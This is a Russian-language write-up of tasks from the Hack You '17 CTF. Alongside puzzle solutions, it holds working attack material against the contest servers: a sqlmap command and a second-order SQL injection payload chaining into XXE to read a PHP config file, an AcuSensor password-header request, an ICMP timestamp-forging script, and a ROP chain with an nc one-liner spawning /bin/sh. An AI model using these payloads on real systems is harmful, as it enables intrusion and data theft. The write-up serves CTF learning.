С 08.10.17 по 14.10.17 проходило CTF-соревнование Hack You '17, в котором я принимал участие. В этой статье я разберу несколько заданий с прошедшего события, поехали.
Web 10 - Palevo
Нам дана следующая ссылка: https://hy17-palevo.spb.ctf.su/. Пройдя по ней и посмотрев исходный код страницы, а также потыкавшись наугад, мы ничего особенного не находим. Время запустить какой-нибудь брутфорс веб-директорий, например, DIRB. Через некоторое время он обнаруживает путь /server-status
, свидетельствующий о том, что на сервере включен mod_status.
Переходим по этому пути (/server-status
) и обнаруживаем секретную страницу с флагом (/secret_admin/B0pdwqU3YB
).
Forensic 10 - Attic
Мы получаем ссылку на архив с фотографиями перфокарт - https://hackyou.ctf.su/files/attic.zip. Раскодировать данные с них можно руками, единственное, что можно сделать для удобства - либо распечатать и взять линейку, чтобы не путаться со столбцами, либо повернуть примерно на 3 градуса по часовой стрелке изображение и провести вертикальные линии в каком-либо графическом редакторе. Раскодировать требуется только последнее изображение, так как именно оно содержит флаг. Используется кодировка IBM 029. В процессе может помочь следующий сервис - http://www.masswerk.at/keypunch/.
CTB 10 - ProtSSH
В задании указаны следующие данные:
1 2 |
ssh -p 11022 protssh@109.233.56.90 Password: ctb10 |
После успешной авторизации по SSH, получаем следующую картину:
Можно было бы попробовать подобрать пароль, однако простое нажатие комбинации Ctrl+C
позволяет попасть в систему без ввода пароля, флаг наш.
Reverse 10 - Old School
В этом задании выдается исходный код на языке Logo: https://hackyou.ctf.su/files/oldschool.txt. Берем какой-либо интерпретатор по ссылке со страницы в Википедии. Далее нам потребуется заменить все команды pe
на pu
и заменить setpc 9
на pd setpc 9
(http://derrel.net/ep/logo/logo_com.htm). Получившийся код запускаем в интерпретаторе. Флаг получен.
Misc 10 - Tonal
Выдается файл (https://hackyou.ctf.su/files/tonal.txt) с какими-то "слогами" и вопросом, кто автор приведенной цитаты.
Название задания является подсказкой, что используется Tonal System. Преобразуем в соответствии с этой системой содержимое файла.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
use warnings; my $data = <<DATA; vy ko po me la an go po la la noll de su po ra de vy su ni la hu ko hu by fy ti ra me vy ni su ko po me ra ra vy su by po go fy hu by de an po me an fy la ti noll la hu la an an go ko su go su hu po ni de de me ni me ti go de po su fy ni ti de an de la de me go noll by la ni po ra fy ra noll by an ti hu su hu fy po ni by fy ti po de fy po go an an vy ni fy by by fy go ko su me de ko la fy by de vy vy noll hu go po hu hu noll hu su ra hu go noll ra ra me an ra ni de ti go de go by vy ti me ra by su ko po me go ti an ni de ko noll fy an hu noll ra an fy go go go by po po go vy su fy ko ti noll an hu by po de noll ti go go hu by me me ti su vy su po la an la la po la fy de noll la su ti an ko an po vy de ti po ni hu ni ko hu go ti ko me me de de de la ni ni go ni po po de by go ni ni ko ti po de ko by vy hu fy go go ti ra po su noll me an by ko by noll ko by go ti ra su go ni noll po noll an hu by po de noll ti go go hu by me me ti su vy su po la an la la po la fy de noll la su ti an noll vy vy an ra su hu ni vy noll fy an hu by ko me ti an vy ti ni ni po de by ni ra ra de by by an by an an fy an fy ra ko noll hu vy ni go ti fy su po po po by hu de go an an fy de an hu po ti hu me fy fy ni su ti la la ni ra vy go go noll su de ti go ko noll go de ni an la po po ti ni po noll hu DATA my @array = qw/noll an de ti go su by ra me ni ko hu vy la po fy ton/; my $i = 0; for my $e(@array) { $data =~ s/$e/$i/gi; $i++; } $data =~ s/10/A/g; $data =~ s/11/B/g; $data =~ s/12/C/g; $data =~ s/13/D/g; $data =~ s/14/E/g; $data =~ s/15/F/g; print $data; |
Получаем набор строк:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
CAE8D14EDD025E72C59DBAB6F378C95A E877C56E4FB621E81FD30DBD114A545B E922898342E5F93212D28406D9E7F706 13B5BFE96F3E2FE411C9F66F4A582ADF 62CC0B4EBB0B57B40778179234246C38 765AE843192A0F1B071F4446EE4C5FA3 01B6E20344B68835C5ED1DDEDF20D531 A1EC23E9B9AB43A88222D9949EE26499 A3E2A6CBF4437E50816A60A64375490E 01B6E20344B68835C5ED1DDEDF20D531 0CC175B9C0F1B6A831C399E269772661 611F1F7A0BC943F5EEE6B2411F21BE3B 8FF953DD97C4405234A04291DEE39E0B |
Никаких особых криптографических операций делать с ним не нужно, это список MD5-хэшей, которые можно найти в Google. В результате получаем фразу You need chaos in your soul to give birth to a dancing star
, автор цитаты: Friedrich Nietzsche
csiM 10 - Lonely
Выдается следующая картинка: https://hackyou.ctf.su/files/lonely.png. Нам потребуется утилита stegsolve. Открываем изображение в ней и на Alpha plane 0 обнаруживаем QR-код, который и является флагом.
Network 10 - Weirdie
Описание задания в общем-то раскрывает всю суть:
1 |
http-over-sctp://109.233.56.90:15879/ |
Воспользуемся утилитой socat для этой цели.
1 |
socat TCP-LISTEN:1337,fork SCTP:109.233.56.90:15879 |
Теперь с помощью Netcat совершаем GET-запрос, подключившись к localhost:1337
Повторно посылаем запрос к /flag.html
и узнаем, что окончательный путь /flag.png
. Запрашиваем этот файл echo -ne "GET /flag.png HTTP/1.0\r\n\r\n" | nc -v localhost 1337 > flag.png
, удаляем в начале фрагмент ответа веб-сервера и получаем флаг.
Если честно, то мне ужасно лениво описывать все 28 заданий, поэтому из оставшихся опишу несколько выборочно.
csiM 100 - Masks
В задании выдается архив с изображениями https://hackyou.ctf.su/files/masks.tar.gz. С помощью утилиты convert XOR'им изображения между собой следующим образом:
1 2 3 |
convert 0.jpg 1.jpg -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" 01.jpg convert 01.jpg 2.jpg -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" 012.jpg convert 012.jpg 3.jpg -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" 0123.jpg |
Получаем изображение, где можно прочесть флаг.
Web 100 - Wait, wait, wait
Дана следующая ссылка: https://hackyou.ctf.su/files/web100_waitwaitwait/index.html. Беглый просмотр JavaScript-кода... а впрочем воспользуемся встроенным в любой веб-браузер отладчиком. Поставим точку остановки и введем что угодно в поле.
Посмотрим, что сравнивается в данном фрагменте кода:
1 2 |
if (data != object.substr(14)) {alert("Not a flag");}else{alert("The flag");} } |
Web 200 - Wrongsec
Теперь нам дана такая ссылка: https://hy17-wrongsec.spb.ctf.su/. Сайт практически пустой, попытка подставить кавычку оканчивается полным фиаско, а сканер директорий грустно молчит. Подсказкой является изображение снизу с текстом Acusensor. На помощь приходит следующая статья: https://dustri.org/b/playing-with-the-acusensor.html. Откуда взять пароль? Всё просто, обратимся по одному из следующих путей:
1 2 |
/acu_phpaspect.php~ /acu_phpaspect.php.bak |
Получив пароль и ознакомившись с вышеприведенной статьей, совершаем следующий запрос с помощью curl:
1 |
curl 'https://hy17-wrongsec.spb.ctf.su/index.php' -H 'Acunetix-Aspect: enabled' -H 'Acunetix-Aspect-Password: 2879091705eecb17d7cac5dac535e722' |
Декодируем фрагмент содержимого из Base64.
Это нам дает путь к файлу с флагом (https://hy17-wrongsec.spb.ctf.su/encrypted_password.txt) и способ его декодирования:
1 2 3 4 5 6 7 |
<?php $pass = file_get_contents('encrypted_password.txt'); for ($i=0; $i<strlen($pass); $i++) $pass[$i] = chr(ord($pass[$i])^($i*0x17+0x3F)^$i); echo $pass; |
Что и позволяет получить флаг.
Reverse 200 - L33t Hard
Это задание весьма своеобразно, даже не знаю, при чем тут реверс. Нам дается: исходник, видео и информация:
1 2 |
I entered 4344443 on my keyboard and it showed me LE37. What did I enter to get 1337? |
Исходный код написан на VHDL, но скачивать инструменты для работы с ним мне не хотелось, поэтому на Github был найден код для эмуляции семисегментного индикатора для C# (https://github.com/dbrant/SevenSegment), VHDL-код переписан на C#, а также пришлось подобрать, какие биты включают какие элементы индикатора. Оказалось вот так:
Теперь у нас есть эмулятор, где можно экспериментировать и подбирать необходимую комбинацию нажатий.
Проект для Visual Studio можно скачать тут: SevenSegment-master. Путем несложных манипуляций выяснилось, что содержимое переменной accumulator
должно равняться 0x9f0d0d1f
, чтобы соответствовать значению 1337
. При этом максимальное число нажатий составляет 7, так как на 8 нажатие внутреннее состояние сбрасывается. Чуть-чуть изменив код, получаем простенький брутфорс, который за несколько секунд выдаст правильную комбинацию: 1443343
.
Network 300 - Unlock with Watch
Раздражает меня эта категория, надо было ее назвать Network 1/3, Coding 2/3. В общем, дан сайт: https://hy17-watch.spb.ctf.su/. При вводе IP-адреса он запускает ping, причем, если время ответа достаточно маленькое, то получаем в ответ:
1 |
You are too close. Please be at least 6000 km away to Enroll your watch. |
Но это не проблема, можно замедлить время ответов с помощью простой команды на Linux:
1 |
tc qdisc add dev eth0 root netem delay 100ms |
После этого получаем token
, который понадобится во второй части задания. Также важно упомянуть, что целевой IP должен быть под вашем контролем, так как придется некоторым образом модифицировать ICMP-пакеты.
Вводим token
и IP в нижнее поле и получаем, что мы слишком далеко, нужно быть максимум в 10 см от цели. В чем суть? Ну, есть одно отличие в работе ping на Linux и Windows, Linux отправляет timestamp
внутри ICMP-заголовка, который и используется в данном случае для "проверки дистанции".
Поэтому нам необходимо как-то перехватывать и модифицировать пакеты, либо написать свой сервер, который будет отвечать на них. Для этой цели я воспользовался Python и библиотекой pypacker, а штатные ответы на ICMP-пакеты заблокировал:
1 2 |
sysctl net.ipv4.icmp_echo_ignore_broadcasts=1 sysctl net.ipv4.icmp_echo_ignore_all=1 |
ГовноКод вышел таким:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
import time from pypacker import psocket from pypacker import interceptor from pypacker.layer3 import ip, icmp psock = psocket.SocketHndl(mode=psocket.SocketHndl.MODE_LAYER_3, timeout=10) def verdict_cb(ll_data, ll_proto_id, data, ctx): ip1 = ip.IP(data) icmp1 = ip1[icmp.ICMP] if icmp1 is None: return data, interceptor.NF_ACCEPT if icmp1.type == icmp.ICMP_TYPE_ECHO_REQ: print("ICMP-ECHO") if icmp1.type == icmp.ICMP_TYPE_ECHO_RESP: print("ICMP-REPLY") echo1 = icmp1[icmp.ICMP.Echo] print("id=%d, seq=%d" % (echo1.id, echo1.seq)); icmp_reply = icmp.ICMP(type=0, body_bytes=icmp1.body_bytes) packet = \ ip.IP(src_s="185.206.225.1", dst_s="109.233.56.90", p=1) +\ icmp_reply list1 = list(icmp1.body_bytes.hex()) x = int(list1[9], 16) x = x + 1 list1[9] = format(x, 'x') icmp_reply.body_bytes = bytes.fromhex(''.join(list1)) return data, interceptor.NF_ACCEPT ictor = interceptor.Interceptor() ictor.start(verdict_cb, queue_ids=[0, 1, 2]) time.sleep(999) ictor.stop() psock.close() |
Суть сводится к тому, что мы модифицируем поле, которое содержит, timestamp
и прибавляем 1 секунду. Запускаем скрипт, снова вводим token
и IP на сайте - получаем флаг.
Web 300 - Combo
Дана следующая ссылка: https://hy17-combo.spb.ctf.su/. Сканер директорий показывает следующие доступные индексируемые пути:
1 2 |
/files/ /inc/ |
По адресу /create.php
мы можем создавать заметки и прикреплять к ним файлы по uuid
, а по следующей ссылке можно просматривать содержимое заметок: /paste.php?id=6
, где вместо 6 - идентификатор любой другой заметки. В этом скрипте присутствует SQL-инъекция, которая легко эксплуатируется с помощью sqlmap:
1 |
sqlmap -u "https://hy17-combo.spb.ctf.su/paste.php?id=1" --risk 3 --level 5 -p id --technique=U --sql-shell |
Мы узнаем, что есть две полезные нам таблицы: pastes
и docs
. Причем в docs
содержится информация о файлах, где нас интересует колонка meta
, так как она является потенциальным кандидатом на XXE. Небольшая сложность состоит в том, что в данном случае мы столкнулись с SQL-инъекцией второго порядка или Routed SQL Injection.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
<?php require "inc/mysql.inc.php"; ?> <?php $PAGE_TITLE = "Read"; require "inc/header.inc.php"; ?> <?php $r = mysqli_query($conn, "SELECT * FROM pastes WHERE id = " . addslashes($_GET['id'])); if (mysqli_num_rows($r) != 1) { echo "<p><center><b style='color: #800'>No such paste</b></center></p>"; } else { $row = mysqli_fetch_assoc($r); $ip = $row['ip']; $text = $row['text']; $time = date('r', $row['time']); $attach = $row['attach']; echo "<p>Paste from <b>" . htmlspecialchars($ip) . "</b> on $time</p>"; echo "<p><textarea style='width: 100%; height: 400px;'>" . htmlspecialchars($text) . "</textarea></p>"; echo "<p>Attachments:</p>"; $r = mysqli_query($conn, "SELECT * FROM docs WHERE INSTR('$attach', uuid) > 0"); if (mysqli_num_rows($r) < 1) { echo "<p><i>none</i></p>"; } else { echo "<p>"; while ($row = mysqli_fetch_assoc($r)) { $meta = simplexml_load_string($row['meta'], 'SimpleXMLElement', LIBXML_NOENT); echo $meta->author . " — <a href='" . $row['file'] . "'>" . $meta->title . "</a> <i>(" . $meta->filesize . ")</i><br/>"; } echo "</p>"; } } ?> <?php require "inc/footer.inc.php"; ?> |
То есть нам необходимо, чтобы запрос:
1 |
$r = mysqli_query($conn, "SELECT * FROM docs WHERE INSTR('$attach', uuid) > 0"); |
Вернул определенные данные, которые бы позволили нам провести XXE через поле meta
. Повозившись, получаем следующий запрос:
1 |
0f4aac03-1b23-45bb-bf48-0338d4283c06',0) and 1=2 union select null,null,concat('<?xml version="1.0"?><!DOCTYPE meta ',char(91),'<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=inc/config.inc.php">',char(93),'><meta><title>31246</title><author>&x;</author><filesize>249b</filesize></meta>'),null-- f |
Теперь закодируем его в hex
и проэксплуатируем.
Таким образом, мы получили содержимое файла в Base64, которое содержит искомый флаг.
CTB 300 - Ton'o'funcs
1 2 |
Just solve it... tonofuncs.elf nc 109.233.56.90 11075 |
Проанализируем ELF-файл в IDA.
Из очевидного - перед нами проверка на равенство волшебному числу 0xDB9DD0C664BE732
, куча функций слева и переполнение буфера через gets
. Чтобы его проэксплуатировать, нужно ввести правильные индексы функций, такие что:
1 |
funcs[i](funcs[j](1337)) == 0xDB9DD0C664BE7323 |
Сами функции однотипные – XOR аргумента с константой, что делает простым извлечение констант функций из исполняемого файла. Или можно просто нажать в IDA Create C file…
и переписать main под перебор индексов:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
int main() { int i, j; for (i = 0; i < 19999; ++i) for (j = 0; j< 19999; ++j) { if ( funcs[i](funcs[j](1337LL)) == 0xDB9DD0C664BE7323LL ) { printf("%d %d\n", i, j); return 0; } } return 1; } |
Вот и полный код перебора. Получаем номера 3389 и 4337. Теперь можно строить ROP-цепочку:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
from pwn import * elf = ELF('./tonofuncs.elf') exploit = '3389 4337A/bin/sh\x00' exploit += pack(0) # will be placed in rbx (pop rpx) exploit += pack(0) # will be placed in rbp # rewrite return address # rdi = address of /bin/sh exploit += pack(0x004487ef)# xor rax, rsp; ret; exploit += pack(0x00464db2)# xchg rax, rdi; ret; exploit += pack(0x0044adcb)# mov eax, 0xFE92941E; pop r15; ret; exploit += pack(0x20) exploit += pack(elf.search(asm('mov r12, r15; mov ecx, 0x5DD03148; ret')).next()) exploit += pack(0x00438540)# sub rdi, r12; ret; # push rdi and 0 exploit += pack(elf.search(asm('xor rax, rax; ret')).next()) exploit += pack(0x004487ef)# xor rax, rsp; ret; exploit += pack(elf.search(asm('xor rbx, rdi; ret;')).next()) exploit += pack(elf.search(asm('push rbx; pop rdx; ret;')).next()) exploit += pack(elf.search(asm('push rbp; pop rbp; ret;')).next()) # and move their address to rsi exploit += pack(0x00464db2)# xchg rax, rdi; ret; exploit += pack(0x004326a1)# xchg rax, r10; ret; exploit += pack(0x0044adcb)# mov eax, 0xFE92941E; pop r15; ret; exploit += pack(-8) exploit += pack(elf.search(asm('mov r12, r15; mov ecx, 0x5DD03148; ret')).next()) exploit += pack(0x00438540)# sub rdi, r12; ret; exploit += pack(0x004326a1)# xchg rax, r10; ret; exploit += pack(0x00464db2)# xchg rax, rdi; ret; exploit += pack(elf.search(asm('pop rsi; ret;')).next()) exploit += pack(0) exploit += pack(elf.search(asm('xor rsi, rax; mov edx, 0x5DD03148')).next()) # rdx = 0 exploit += pack(elf.search(asm('pop rdx; ret;')).next()) exploit += pack(0) # rax = 0x3b exploit += pack(elf.search(asm('pop rax; ret;')).next()) exploit += pack(0x3b) exploit += pack(elf.search(asm('syscall')).next()) |
В итоге получаем следующий эксплоит, что и приводит нас к флагу:
1 |
(echo -e "3389 4337A/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x87D\x00\x00\x00\x00\x00\xb2MF\x00\x00\x00\x00\x00\xcb\xadD\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x9a:C\x00\x00\x00\x00\x00@\x85C\x00\x00\x00\x00\x00jME\x00\x00\x00\x00\x00\xef\x87D\x00\x00\x00\x00\x00\xbc\x0fG\x00\x00\x00\x00\x00\x92\x18G\x00\x00\x00\x00\x00\xe6\x06A\x00\x00\x00\x00\x00\xb2MF\x00\x00\x00\x00\x00\xa1&C\x00\x00\x00\x00\x00\xcb\xadD\x00\x00\x00\x00\x00\xf8\xff\xff\xff\xff\xff\xff\xff\x9a:C\x00\x00\x00\x00\x00@\x85C\x00\x00\x00\x00\x00\xa1&C\x00\x00\x00\x00\x00\xb2MF\x00\x00\x00\x00\x00\x97\x0f@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdagE\x00\x00\x00\x00\x004B@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00L\x0c@\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xa9\x12B\x00\x00\x00\x00\x00" ; cat -) | nc 109.233.56.90 11075 |
Вот и все задания, которые я хотел разобрать. Наконец, хочу передать привет и поблагодарить: d_x, Felis Sapiens, beched, rrock, yarbabin.
Kaimi, порекомендуйте музыку под процесс программирования.
От личных вкусов зависит. Например: https://tunein.com/radio/PulseEDM-Dance-Music-Radio-s135237/
Я думаю что тем лучше знаешь программирование, тем быстрее решишь подобные задачи.